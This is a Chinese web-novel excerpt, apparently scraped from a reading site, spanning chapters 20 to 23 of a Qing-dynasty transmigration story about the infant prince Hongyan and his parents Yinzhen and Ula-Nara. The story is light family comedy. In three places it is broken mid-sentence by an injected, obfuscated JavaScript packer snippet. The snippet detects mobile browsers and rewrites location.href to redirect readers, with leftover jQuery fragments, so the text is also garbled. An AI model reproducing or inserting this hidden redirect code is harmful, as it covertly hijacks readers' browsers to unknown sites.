出发去皇宫之前,乌拉那拉氏与往常一样,亲了亲弘晏的小脸蛋儿。 胤禛看着眼前母子二人难舍难分的样子,有些吃味。 弘晏的余光瞧见了以后,扑腾着小胳膊,要到胤禛的怀里去。 胤禛面上不显,心中暗爽。 好大儿还是知道他阿玛还站在这里的。 胤禛双手接过了弘晏。 而弘晏的两只手,紧紧攥着胤禛胸膛前的衣袍,小脚用力登着胤禛的腰腹,小脑袋向上一抬,凑过去亲了亲胤禛的脸。 面对好大儿的突然亲吻,胤禛先是一愣,反应过来后翘了翘嘴角,随即有些得意的望向了乌拉那拉氏。 乌拉那拉氏瞧见方才那一幕,还是有些吃醋的,她照顾了弘晏这么久,弘晏还没有主动亲过她呢。 不过,当乌拉那拉氏瞧见弘晏松了嘴,胤禛的脸上却满是涎水的时候,是一点儿也不吃醋了。 她今日梳洗打扮了好久,要是被弘晏糊上一层涎水,岂不是白化这妆容了。 与此同时,胤禛也后知后觉的感受到了脸上黏糊糊的。 胤禛自然能想到这是弘晏的口水,但他不能嫌弃,这可是好大儿对他的爱。 弘晏瞧见胤禛欣然接受自己的口水之吻,一下子提升了对便宜阿玛的好感度。 胤禛见乌拉那拉氏只顾着看热闹,却丝毫没有给自己递帕子的打算,一时有些无奈。 不知何时起,福晋竟然也幼稚了起来。 还是王乳娘忙不迭的将弘晏抱回自己的怀里,而苏培盛递上了沾了温水的帕子给胤禛擦脸。 收拾妥当之后,王乳娘怀里的弘晏伸出小肉手,给胤禛和乌拉那拉氏拜拜,目送着阿玛和额娘远去。 直到胤禛与乌拉那拉氏的身影消失不见,弘晏的视线才望向了天。 什么时候,他也能跟着进皇宫就好了。 一刻钟的功夫,胤禛与乌拉那拉氏到了永和宫。 胤禵夫妇先到永和宫是常态,胤禛与乌拉那拉氏也早就习惯了。 胤禛行打千儿礼,乌拉那拉氏则行福身礼,二人同时道:“儿臣/儿媳,给额娘请安。” 今日过节,德妃的心情也好,脸上洋溢着开心的笑:“坐吧。” 胤禛与乌拉那拉氏落座后,十四福晋完颜氏看着二人笑着开口问好:“四哥,四嫂。” 胤禛微微颔首,乌拉那拉氏则回以一笑。 坐在十四福晋身旁的胤禵,缓缓开口喊道:“四嫂。” 这一句“四嫂”喊出来,胤禵直接忽略了胤禛。 十四福晋见状,悄悄用手肘碰了一下胤禵,示意对方快些喊胤禛。 毕竟,长幼有序。 再怎么样,胤禵不该明面上给胤禛难堪。 胤禵自然明白自己福晋的意思,但他就是故意的,他从心底就不想喊胤禛,便这么做了。 而上首的德妃,对于胤禵的失礼之举,默不作声。 有时候的沉默,便是无声的默许,是纵容。 乌拉那拉氏虽然气恼胤禵的小儿行径,但不好发作,只是不安的看了一眼胤禛。 只见胤禛看着一脸挑衅的胤禵,气定神闲的开口:“恭喜十四弟,又添了一位侍妾。” 胤禛的话一出口,胤禵整个人像泄了气的皮球一般,嚷嚷道:“老四,你诚心不想让我好过。” 上首的德妃俊眉一皱,一双美眸染上了几分犀利,罕见的训斥了胤禵:“行了,喊什么,瞧瞧你的模样,哪里还有半点儿皇子的风度。” 胤禵自知理亏,抿着嘴不再说话。 德妃的视线一转,又看向了胤禛。 眼见着胤禛还是一幅云淡风轻的样子,德妃将嘴边的话,又咽回了喉咙里去。 母子仨、兄弟俩好不容易聚在一起,今日又是过节,闹得太难堪只会又高兴了旁人。 只是这胤禵确实不争气。 上回她与乌雅家、罗家的人达成一致,由她出面做主将罗汀兰许给胤禛做侍妾,可惜胤禛并不买账。 她本想着再等一个合适的机会说和,叫胤禛不答应也得答应纳了罗汀兰进雍亲王府做侍妾,可不承想,她还没找到合适的机会,罗家却起了别的心思。 对于罗家来说,只要女儿能嫁给皇子做侍妾,便是光耀门楣。 至于这皇子是不是胤禛,根本不重要。是以,罗家用了银子来打通关系,打听到胤禵的行踪后,做了一个英雄救美的局,偏偏胤禵这小子一见罗汀兰的样貌就动了心,当日便将人要了。 罗家如了意,乌雅家得了好处,两相欢喜,她虽不愿,可胤禵吃了秤砣——铁了心,非要纳罗汀兰进府,她便只得点头答应了。 罗汀兰进了府后,胤禵才得知当日与罗汀兰的初见不是偶然,而是罗家精心设计好的之后,大为恼火,只是罗汀兰梨花带雨的哭了一场,又要寻/死,胤禵自然舍不得,更怕真的闹出人命来,便自己认栽了,谁叫他受不住诱惑呢。 不过,这些日子以来,胤禵对罗汀兰倒是真有了几分感情,渐渐的也忘了当初纳人纳的不体面的事情了。 而今,胤禛一句“恭喜”,无非是在讥讽他。 他胤禛不要的女人,他胤禵却上赶着要了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143142|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 一旁的十四福晋也没了为胤禵打圆场的心思,自罗汀兰进府后,在后院可谓是一枝独秀了。 乌拉那拉氏对于胤禛的反击,一点儿都不意外。 她家爷向来都是一针见血,气死人不偿命的那种。 胤禵年轻气盛,到底还是嫩了些。 德妃的好心情被两个儿子破坏了,便早早的带着人往乾清宫去了。 十三阿哥胤祥与福晋兆佳氏,依旧迎上去找胤禛与乌拉那拉氏说话。 心情不美妙的胤禵,去找他那温润如玉,善解人意的八哥去了,十四福晋见状,未向从前一般跟着去找八福晋,而是改步子走向了正坐在一旁聊天的九福晋和十福晋。 —— 腊八节一过,京城里更热闹了,街头巷尾的叫卖声不绝于耳,与寻常相比,更添了几分喜气。 很快,便是除夕了。 按照规矩,皇子的侧福晋也有资格参加皇宫的除夕家宴。 可雍亲王府得有一位侧福晋来操持府中事宜,简单来说,就是李侧福晋与年侧福晋只能去一人。 胤禛思虑过后,决定带着乌拉那拉氏与年氏前往皇宫,留下李氏来操持府中的家宴,另外带上最年长的弘时一同进宫,见见世面。 是以,即使李侧福晋没能一同进宫,心里也没有那么难受了。 与胤禛同在一辆马车里的弘时,乖巧极了,等下了马车以后,更是紧紧的跟在胤禛身后,不敢东张西望,生怕遭到训斥。 到了永和宫,德妃对着年侧福晋先是寒暄了几句,接着便说起让其调养好身子骨,早早地诞下子嗣。 德妃这话无疑是在戳年侧福晋的心窝。 胤禛听着这话,亦是觉得刺耳的紧,转而看着德妃,缓缓开口道:“额娘,您不是马上又要抱孙子了吗?” 是胤禵的侍妾罗汀兰已然有了身孕。 德妃听罢,明白胤禛是在护着年氏,所以又拿罗汀兰来堵她的口。 德妃美眸一转,嘴角扬起一抹微笑,摆出一副慈母心肠来,看着胤禛道:“老十四还年轻,你年长些,额娘自然更挂心你,毕竟,你可是额娘的第一个孩子。” 德妃说的情真意切,可惜胤禛早就过了需要德妃关切的年纪了。 是以,胤禛闻此言,“蹭”的站起来,掀起衣袍一角,直挺挺的跪在地上:“儿子让额娘费心了。” 胤禛这一跪,乌拉那拉氏、年侧福晋还有弘时都齐齐的跟着胤禛跪在了地上,看上去倒是壮观的紧。 德妃见状,连忙从紫檀木圈椅上起来,走上去亲自扶起了胤禛。 胤禛微微颔首,可却在心里嗤笑。 真是好一幅母慈子孝的美好画面。 这厢,德妃扶起了胤禛,却未松开胤禛的手,而是看了一眼稳稳坐在绣墩上的胤禵,示意胤禵走过来。 胤禵不明白德妃想要做什么,但还是极其配合的走了过去。 只见德妃的另一只手拉起胤禵的手,而后放在了胤禛手背上,接着拍了拍两个儿子的手,含笑道:“额娘最想看到的,便是你们兄弟俩能够同心协力、和和美美的。” 德妃说着,视线望向了胤禛:“老四,你是兄长,万事可要多担待些。” 胤禛微微点头。 这最后半句,应才是德妃的真心话。 21. 第 21 章 月落日升,新年伊始,时间来到了康熙五十三年正月初一。 弘晏从睡梦中醒来后,被王乳娘拿着温热的帕子擦过脸和手之后,便穿上了一件大红色苏绣杭绸带着雪白色狐狸滚边毛的盘扣新棉袄。 因着身上这件红色的衣裳,更衬得弘晏皮肤雪白,活像那年画上面的福娃娃。 一大清早,弘晏刚吃完鸡蛋羹,便收到了便宜阿玛和额娘给的红封。 那两个红封里分别装着两个金锞子。 弘晏知道,这个在后世叫做压岁钱。 乌拉那拉氏生怕弘晏拿着金锞子会往嘴里塞,便叫流萤先收起来。 可谁知,弘晏见流萤直奔着自己手里的金锞子走过来,赶忙将金锞子握得紧紧的。 胤禛见着好大儿这般机警,嘴角翘了翘。 小财迷。 乌拉那拉氏见状,也被弘晏逗得笑出了声,随即拿着帕子掩了掩唇,方才出声哄道:“福宝乖,额娘帮你存起来,等你大了,就物归原主,好不好?” 额娘的话,弘晏自然是信得过的。 弘晏听罢,才展开双手,将两个金锞子交给了流萤储存起来。 因着还要进宫拜年,乌拉那拉氏不敢耽搁,和宝贝弘晏贴贴之后,便与胤禛赶忙进宫去了。 待到从皇宫回来,乌拉那拉氏却发现地上的弘晏扶着小榻的边沿站了起来。 而弘晏看到自己额娘愣在原地,便朝着乌拉那拉氏绽放了一个甜甜的笑容。 乌拉那拉氏快步走过去,弯腰抱起弘晏亲了亲,随即落坐在小榻上,将弘晏放坐在自己的大腿上,眸子里是藏不住的欢喜。 一旁的王乳娘,则是绘声绘色的讲述了弘晏是如何一步步站起来的。 乌拉那拉氏听着王乳娘的讲述,高兴之余,眸子里还带着一丝淡淡的遗憾。 过了年,她的福宝会站立了,可惜她没有亲眼见证这一刻。 被乌拉那拉氏与弘晏忽略的胤禛,清咳一声,随即迈步走过去,坐在了小榻上,一双黑眸直勾勾的看向奶乎乎的弘晏。 弘晏明白这是便宜阿玛又吃醋了,随即伸出两只小手,在乌拉那拉氏怀里扑腾起来。 胤禛见状,弯了弯唇角,将弘晏抱到了自己怀里。 好大儿还是有良心的。 到了晚上,弘晏脱去了厚重的衣服,身上只留了一件寝衣,是以在拔步床上骨碌着小身子便轻松的站了起来。 相对于胤禛的情绪内敛,乌拉那拉氏很是欢喜的笑了起来。 弘晏见状,展开双手便要乌拉那拉氏抱。 —— 转眼,日子来到了上元佳节。 整个雍亲王府挂满了五彩的灯笼,多彩的灯笼交相辉映,甚是好看。 王乳娘抱着弘晏出来看花灯,弘晏伸出小肉手就想去摘花灯,只可惜那花灯挂的太高了,他的小短胳膊实在够不到。 这时,一道清亮的女声响起:“福宝。” 不是乌拉那拉氏,又能是谁呢? 只见乌拉那拉氏迈步从台阶上走下来,笑盈盈的接过王乳娘怀里的弘晏,叮嘱道:“福宝乖,额娘要进宫去了。” 弘晏听罢,张开小口喊道:“额”。 弘晏十个月大了,偶尔会发出一些简单的音,但是咬字还不太准确。 是以,乌拉那拉氏将“额”字,听成了“饿”字。 乌拉那拉氏微微一愣,笑道:“小福宝,只想着吃啊?” 她不舍得离开宝贝儿子,可宝贝儿子却只惦记着吃。 弘晏见乌拉那拉氏误解了自己的意思,赶忙解释道:“额,额。” 他是想叫额娘,才不是只知道喊饿要吃饭的小娃娃呢。 弘晏嘴上说着,还不忘抬起小手指向了乌拉那拉氏。 乌拉那拉氏见状,微微一愣。 弘晏见自家额娘还不明白,就有些着急了:“额,额,凉。” 乌拉那拉氏这回可听清楚了弘晏的发音,诧异道:“福宝,是在喊额娘吗?” 弘晏用力点了点头。 额娘终于明白了,他心里都快急/死了,可再努力也只能发出这样的音节了。 乌拉那拉氏见弘晏点头,眼睛笑得眯成了一条缝,忙凑过去贴上了弘晏的小脸儿:“我们福宝果然长大了,都会叫额娘了,福宝是不是舍不得额娘啊?” 弘晏“啊”了一声。 没错,没错,他就是这个意思。 此时,一道低沉带着些许磁性的男声响起:“福晋,我们该进宫去了。” 胤禛说罢,迈步走向了母子两个。 乌拉那拉氏和胤禛分享起了喜悦:“爷,咱们福宝会叫额娘了。” 话说完,乌拉那拉氏看向了怀里的弘晏。 弘晏见胤禛露出怀疑的眼神来,便张开小口喊道:“额~凉~。” 弘晏这次喊的比乌拉那拉氏方才听得更为清晰。 乌拉那拉氏喜滋滋的望着弘晏,而胤禛却一脸淡定的说道:“福宝,喊声‘阿玛’来听听?” 阿玛? 属实有些难为他了。 本宝宝做不到啊! 为了不伤胤禛这个老父亲的心,弘晏“啊啊”叫了两声。 小小的他,为了家庭的和谐与幸福就开始努力端水了。 乌拉那拉氏见状,嘴角一扬:“爷,福宝还小呢,叫‘阿玛’也太难了些。” 乌拉那拉氏虽然嘴上安慰着胤禛,可从乌拉那拉氏的神色中可以看出来,她还沉浸在弘晏叫她“额娘”的甜蜜里。 胤禛闻言,只撂下一句:“再不走,就要晚了”的话,便迈步离开了。 乌拉那拉氏见状,亲了亲弘晏的小脸蛋儿,将弘晏交给了王乳娘,方才抬步往外走。 弘晏:好浓的醋味,还是端水失败了。 没关系,便宜阿玛会自愈的。 待乌拉那拉氏与胤禛从皇宫赴宴回来,天已然完全黑了。 胤禛见到弘晏还睁着圆溜溜的黑葡萄般的眼睛,丝毫没有睡意,便叫苏培盛去院子里放烟花,而后抱着穿得圆滚滚的弘晏去廊下看烟花。 一开始,乌拉那拉氏还有些担心,怕胤禛距离烟花太近,会吓到弘晏。 谁知弘晏看到一个接一个的烟花,“噌”的一声飞上了天,兴奋极了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143143|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 须臾,只听得“啪”一声,绚丽的花朵接二连三的在空中绽放,随之又隐入墨色里,弘晏看呆了,随后嘴里“啊啊”的叫着,还不忘抬起小手鼓掌。 胤禛见弘晏这般高兴,便将弘晏交给了王乳娘,转而拿了火折亲自放了一个烟花给弘晏瞧。 弘晏的视线紧紧追随着蹿到天上去的烟花,漂亮的花再次在空中绚丽绽放。 最后一个烟花没了,院子里又陷入沉寂。 弘晏撅起了小嘴,冲着胤禛“啊啊”的叫着。 便宜阿玛,再放几个烟花啊,他还没有看过瘾呢! 胤禛见状,抬步走了过去,来到弘晏面前,开口问道:“福宝,是还想看烟花吗?” 弘晏点了点头,脸上露出期待的笑容。 只见胤禛悠悠开口说道:“叫声‘阿玛’,就放给你看。” ??? 便宜阿玛真是小心眼儿,他才不会为了区区烟花,就勉强自己开口呢。 在胤禛期待的目光中,弘晏收了笑容,转而撅着小嘴委屈巴巴的望向乌拉那拉氏。 乌拉那拉氏径直走过去,将弘晏抱进怀里,又朝着胤禛说道:“爷真是厉害,跟自己儿子都谈起条件来了。” 话音落下,乌拉那拉氏直接抱着弘晏进了屋子。 不远处的苏培盛在心中思忖:福晋爱子心切起来,跟爷说话竟也不顾分寸了。 “爷,这烟花还放吗?”苏培盛请示道。 胤禛淡淡扫了苏培盛一眼,抬步进了屋子。 苏培盛旋即转身,扬了扬手,喊道:“都收了吧。” 他也是糊涂了,福晋与六阿哥都进屋了,这烟花还放给谁看呢。 这厢,胤禛进了内室,正好瞧见乌拉那拉氏正扶着站在拔步床上笑嘻嘻的弘晏,不自觉弯了弯唇角。 乌拉那拉氏听到脚步声,对着胤禛说道:“爷,可瞧见了,福宝不愿睡摇篮椅了。” 胤禛迈步走过去,笑道:“无妨。” 于是,弘晏睡在了拔步床的中间,里侧睡着乌拉那拉氏,胤禛则躺在最外侧。 待天蒙蒙亮时,胤禛睁开了惺忪的睡眼,手往褥子上一撑,正要起身时,却从手心处感觉到了一片湿濡。 胤禛顿时清醒了,蹭的一下坐起来,将被子掀开,果然见弘晏身下的褥子湿了一大片。 随即,胤禛万般嫌弃的看了一眼方才摸褥子的手。 而“罪魁祸首”弘晏还吧唧着小嘴,正睡得香甜,不知在做什么美梦呢。 胤禛无奈,先下床洗了洗手,而后轻轻地拍了拍乌拉那拉氏。 乌拉那拉氏睁开眼睛后,见着胤禛给自己使眼色,方才明白怎么回事,笑了笑,便叫人进来收拾。 直到胤禛出门上朝,弘晏都还在睡梦中。 待流萤换好了褥子,乌拉那拉氏便抱着弘晏睡起了回笼觉。 皇宫内,去乾清宫的路上,十三阿哥胤祥看出了胤禛兴致不高,关切道:“四哥,可是昨晚未曾休息好?” 胤禛闻言,轻轻摇了摇头。 就算是十三弟,他也绝对不会说出一大清早他经历了什么。 22. 第 22 章 弘晏能够熟练的进行站立之后,便开始尝试走路。 当颤颤巍巍的小奶团子迈开小步子以后,无论是乌拉那拉氏还是王乳娘,视线都紧紧跟随着弘晏,更是伸出两只手来护着。 眼见着弘晏走不稳,身子开始摇晃,乌拉那拉氏立马抱住弘晏并笑吟吟的夸道:“额娘的福宝真棒,今日练了许久了,咱们休息会儿吧。” 乌拉那拉氏可谓是给足了弘晏的情绪价值。 弘晏也深知想要不被人搀扶,能够稳稳当当的走路,不是一两日就能练成的,所以也没有再坚持。 不过,最主要的原因还是走路消耗了弘晏太多的能量,他的肚子要开始抗议了。 弘晏眨了眨黑溜溜的大眼睛,对着乌拉那拉氏奶呼呼的说道:“额凉,饿。” 这些日子以来,弘晏的吐字也越来越清楚了。 乌拉那拉氏笑得眉眼弯弯:“饿了,额娘让人给福宝端鸡蛋羹来好不好?” 弘晏嘿嘿笑了笑。 随即,弘晏乖乖的坐在了小榻上等着,不久,王乳娘便端来了鸡蛋羹。 乌拉那拉氏正要接过王乳娘手中的鸡蛋羹,便见一道黑影笼罩下来,原是胤禛回来了,挡住了母子两个面前的光线。 “爷回来了。”乌拉那拉氏说着,伸手接过了王乳娘手里的青花瓷碗。 胤禛“嗯”了一声,便坐在了檀木小榻的另一边,而银烛捧着一盏茶放到了胤禛面前,便退至一旁侯着了。 这厢,乌拉那拉氏拿着调羹舀起一勺鸡蛋羹,递到嘴边吹了吹,方喂到弘晏嘴边。 可弘晏的视线紧紧盯着胤禛,没有张嘴。 乌拉那拉氏见状,看向弘晏的眸子里满是慈爱,温柔的开口:“福宝,不是饿了吗?额娘喂你吃鸡蛋羹。” 弘晏闻言,低头看了看嘴边的鸡蛋羹,随即抬起小手指向胤禛,张口道:“阿阿,喂。” 胤禛微微一愣,阿阿? 胤禛带着些许疑惑的目光,抬了抬头,正好与弘晏黑溜溜的大眼睛对视了。 确认过眼神,好大儿确实在叫他。 只不过,阿阿是什么奇怪的称呼? 胤禛看向弘晏,耐心纠正道:“是阿玛,不是阿阿。” 胤禛说话时,特意将“阿玛”这两个字的音咬重些,还放慢了语速。 弘晏眨了眨无辜的大眼睛,跟着喊道:“阿阿,阿阿。” 他这么聪明的玉兔精,当然会叫“阿玛”了。 他是故意这么喊得。 之前他不过不小心尿了床,便宜阿玛又不小心把手撑在了他尿湿的那片褥子上,就小心眼的记恨上他了。 自那以后,每次便宜阿玛来正院留宿,看见他跟着额娘睡拔步床,都会趁着他熟睡的时候,叫王乳娘把他抱走。 哼! 他还是个小宝宝呢,尿床不是很正常的事情吗? 亲亲额娘就不会嫌弃他尿床,更不会责怪他。 再说了,又不是他拿着便宜阿玛的手放在尿湿的褥子上的。 这能全是他的责任吗? 还有就是从他出生以来,便宜阿玛除了坑他喝酸不拉几的酸梅汤以外,就再也没有喂他吃过东西了。 这一桩桩,一件件,他可是都记着呢。 所以,便宜阿玛越是期待自己喊他“阿玛”,他就偏偏不叫。 没错,小玉兔精浑身都是反骨。 这厢,胤禛听着弘晏还是“阿阿”的叫着他,有些无奈。 会叫“额娘”,会说“饿”这一类的字,怎么就偏偏不会唤“阿玛”呢? “玛”这个字,有那么拗口吗? 乌拉那拉氏的余光一直注意着胤禛的神色,见弘晏到底没有说出胤禛期待的“阿玛”,便对着弘晏哄道:“福宝乖,你阿玛刚下值回来,太累了,额娘喂你吃啊。” 这话,弘晏可不乐意听了。 便宜阿玛是累,可亲亲额娘也没有闲着啊。 弘晏这般想着,忽听得胤禛开了口:“福晋,爷来喂吧。” 话音落下,胤禛径直走过来,接过了乌拉那拉氏手里的青花瓷碗。 乌拉那拉氏十分意外,赶忙起身将位置让出来,自己则坐在一旁的绣墩上。 弘晏则在心里对便宜阿玛的好感度,又提升了几个点。 胤禛舀起一勺鸡蛋羹,吹了吹喂进弘晏嘴里。 弘晏满足的咀嚼着香香的鸡蛋羹,还没有意识到问题的严重性。 很快,胤禛又喂来了第二勺鸡蛋羹。 弘晏照吃不误。 接着,胤禛喂来了第三勺鸡蛋羹。 弘晏还没有咀嚼完第二口,勉强张嘴吃了第三勺鸡蛋羹。 下一瞬,胤禛试图将第四勺鸡蛋羹喂进弘晏嘴里。 一旁的乌拉那拉氏见弘晏的两腮已经塞得鼓鼓囊囊的,赶忙出声提醒道:“爷,你喂少些、喂慢些,福宝还小,咀嚼的慢。” 胤禛向来都是让别人伺候着,哪里伺候过旁人,更别提给小孩子喂饭了。 福宝这孩子也是,好好的非得让胤禛喂鸡蛋羹,岂不是自己找罪受了。 弘晏听了额娘的话以后,看着胤禛的眼神里满是控诉。 胤禛拿着调羹的手顿在了半空中,清咳了一声来掩饰尴尬,随即又默默地将手收了回去,待弘晏咀嚼完嘴里的鸡蛋羹以后,再慢慢地喂给弘晏。 在乌拉那拉氏的指导之下,胤禛还算顺利的给弘晏喂完了鸡蛋羹。 最后,胤禛拿着帕子贴心的拭去了弘晏嘴角粘着的鸡蛋羹碎屑。 人一吃饱了饭,就犯困。 这不,弘晏立马打了一个哈欠。 乌拉那拉氏见状,使了个眼色,王乳娘便上前来抱着弘晏去哄睡。 弘晏在被王乳娘抱去内室时,还不忘给乌拉那拉氏与胤禛挥手拜拜:“额凉,阿阿。” 胤禛有些头疼,他怎么还是阿阿。 随即,胤禛又自己说服了自己。 好大儿还小,慢慢教,总有一天好大儿能学会叫“阿玛”的。 —— 阳春三月,草长莺飞,桃红柳绿。 金灿灿的太阳高高的挂起来,将正院里照耀的暖融融的,院子里的花儿竞相开放,这股子清香味连蝴蝶都引来了好几只。 厚重的棉袄早已脱下,乌拉那拉氏给弘晏换上了春装。 如今,弘晏已然能够扶着小榻自己慢慢走了。 坐在绣墩上的乌拉那拉氏,一脸欣慰的看着慢步向前的弘晏。 待弘晏扶着小榻,从这头走到那头以后,转过身子便停下了,一脸骄傲的看着乌拉那拉氏。 乌拉那拉氏则笑盈盈的拍了拍手:“咱们福宝真厉害。” 乌拉那拉氏话音落下,屋子里的王乳娘、流萤与银烛 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143144|164578||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都跟着吹起了彩虹屁。 弘晏受用的很。 随即,弘晏又伸出小手扶着檀木小榻,迈大了步子,一步步的再走回来,最后,直接朝着乌拉那拉氏所在的位置扑过来。 乌拉那拉氏早就察觉了弘晏的意图,伸展双臂,稳稳地将弘晏抱到了怀里,随后把弘晏放坐在自己的大腿上。 弘晏扬起肉乎乎的小脸儿,张口喊道:“额凉,渴。” 乌拉那拉氏笑道:“额娘让人给你端半碗羊奶来。” 弘晏摇了摇小脑袋,随即一本正经的说道:“窝,喝,一碗。” 乌拉那拉氏听罢,亲了亲弘晏的小脸蛋儿:“好,给福宝端一碗。” 弘晏笑嘿嘿看着乌拉那拉氏,继续说道:“要,糕糕。” 乌拉那拉氏闻言,伸出食指点了点弘晏那光滑圆润如珍珠般的鼻头:“不是渴了吗?要糕点做甚?” 弘晏听罢,摸了摸自己的小肚子,好像有点儿扁扁的,随即回答道:“窝渴,窝饿。” 在弘晏看来,渴和饿可是不冲突滴。 乌拉那拉氏听了弘晏一本正经的婴言婴语,笑得眉眼弯弯:“再添小半块米糕。” 弘晏见好就收,笑嘻嘻的点了点头。 不一会儿,流萤就端来了羊奶和米糕。 所谓的小半块米糕,其实就是一块完整米糕的四分之一。 待乌拉那拉氏拿着温热的帕子给弘晏擦了手,便见弘晏拿起了碟子里的米糕,小口小口的吃起来。 青瓷碗里的羊奶在端进来之前,已然晾了一盏茶的时间了,如今喝着正好,乌拉那拉氏拿着调羹舀起一勺羊奶便喂给弘晏。 此时,胤禛下值回来,迈进门槛,便瞧见弘晏正一口羊奶一口米糕吃着香甜。 胤禛径直走过去,撩起衣袍一角,就坐在了弘晏身旁。 小家伙倒是会享受。 眼瞧着弘晏的腮帮子鼓鼓囊囊的,咀嚼起食物来跟个小仓鼠一样可爱,胤禛望着弘晏的视线便越发柔和了。 弘晏可不知晓胤禛的真实想法,只是见便宜阿玛一直盯着自己的嘴巴瞧,便望了望自己手里最后的一点儿米糕,有些舍不得,随后,弘晏果断的对着乌拉那拉氏说道:“额凉,羊奶,喂喂,阿阿。” 碗里的羊奶还多着,他可以大气的分给便宜阿玛。 乌拉那拉氏/胤禛:!!! 屋子里的空气突然陷入了沉寂,乌拉那拉氏眼睫闪了闪,欲言又止。 胤禛则抬手摸了摸弘晏光溜溜的小脑袋:“福宝真孝顺,阿玛不饿,你吃吧。” 弘晏以为胤禛是不好意思,便抬起手指指着碗里的羊奶,出声劝起来:“多多,阿阿,喝。” 在这个情况下,好大儿其实不用这么孝顺的。 胤禛顿了顿,再次开口:“福宝喝吧,阿玛先去换身衣裳。” 话音落下,胤禛大步流星的离开了这个尴尬的地方。 喝个羊奶还用换衣服? 这就是成年人的仪式感? 弘晏不解的看向乌拉那拉氏。 乌拉那拉氏压了压疯狂往上翘起的嘴角,拿着调羹喂到弘晏嘴边,开口道:“你阿玛还有正事要忙,福宝,来,大口喝。” 原来是这样啊! 那便宜阿玛还真是可怜! 想想,还是做一个人类幼崽最好了,有吃有喝,万事不愁! 23. 第 23 章 转眼间,弘晏满周岁了。 一大清早,弘晏就被王乳娘伺候着洗漱,而后额娘乌拉那拉氏就给自己套上了一件大红色的新袍子。 紧接着,乌拉那拉氏又给弘晏戴上了黄澄澄的长命锁。 这一番打扮下来,更衬的弘晏粉雕玉琢、玉雪可爱,跟个小仙童似的。 王乳娘则笑呵呵的夸道:“咱们六阿哥今日真是好看,比那画上的人还好看。” 今日是弘晏的周岁宴,弘晏可是主角,收拾妥当之后,乌拉那拉氏便抱着弘晏出了屋子。 满雍亲王府的女眷齐齐的聚在正院里侯着,见乌拉那拉氏抱着弘晏出来,嘴巴跟涂了蜜似的,好听的话一波接着一波。 而小弘晏也在今日终于认齐了雍亲王府的主要成员。 便宜阿玛除了额娘这个正妻之外,还有两位上了玉牒的侧福晋,分别是李氏与年氏。 你以为这就结束了吗?不,便宜阿玛还有一堆小老婆。 宋格格、钮祜禄格格、耿格格、乌雅格格和冯格格。 弘晏看着面前穿红着绿的女人们,心里有些生气,便宜阿玛可真是一个花心大萝卜。 就算是它们玉兔精要找另一半结合,也是只追求一个的。 弘晏正想着,便听见了一道十分稚嫩的声音:“额娘,我看不见弟弟了。” 孩童的声音在女人堆里格外显眼,其余人与弘晏一样,皆寻声望去,只见耿格格脸一红,旋即对着乌拉那拉氏福身道:“福晋恕罪,是妾身没有管教好五阿哥。” 弘晏听了这话,视线下移,这才瞧见了一个三头身肉乎乎的小娃娃正抬手拽着耿格格的衣摆,那小娃娃神情有些焦急。 小娃娃见众人都盯着他瞧,一时间,大大的眼睛里满是大大的疑惑。 乌拉那拉氏闻言,弯了弯唇,笑道:“无妨,是该让福宝认识认识哥哥们了。” 乌拉那拉氏话音落下,其余人等都识趣的将地方让出来。 这时,三阿哥弘时抬步走过去,四阿哥弘历跟着弘时的脚步,小大人似的慢步走过去,五阿哥弘昼则立马松了耿格格的衣摆,快速小跑过去,扬起小脸笑嘻嘻的说道:“弟弟,漂亮弟弟,我是五哥哥。” 弘昼边嘴上说着,边伸出一个手掌来比“五”给弘晏看。 小娃娃自报姓名,弘晏便知道面前这个是五阿哥弘昼了,再看一旁那个个头跟弘昼一般大小的娃娃,便明白是四阿哥弘历了。 毫无疑问,年纪最大的那个孩子就是三阿哥弘时了。 弘晏的视线在三人脸上扫了一遍,这就是他这一世的兄弟们。 因为亲近老八被厌弃的弘时,乱爱盖印章的乾小四,以给自己置办丧事为乐的弘昼。 弘晏在心里捂脸:这都是什么显眼包啊! 除了这三个,再加上他这个原身是玉兔精的六阿哥弘晏,胤禛就集齐了四个风格迥异的显眼包儿子。 这下子,连弘晏都有些同情便宜阿玛了,有四个这么不省心的儿子。 不过,时间尚早,看在便宜阿玛素日里对他还不错的份儿上,他可以为父分忧,从娃娃抓起,把兄弟们拉回正道。 flag,就这么简单愉快的立下了! 耿格格见弘昼这般跳脱,生怕弘昼这皮猴子的模样吓到了弘晏,便一脸严肃的喊道:“弘昼。” 话语里满是警告。 可弘晏却觉得小小的弘昼可爱的紧。 有道是“三岁看老”,这么小的弘昼就这般有个性,难怪以后长大了能给自己置办丧事取乐呢。 弘晏很给弘昼面子,甜甜的喊了一句:“锅锅。” 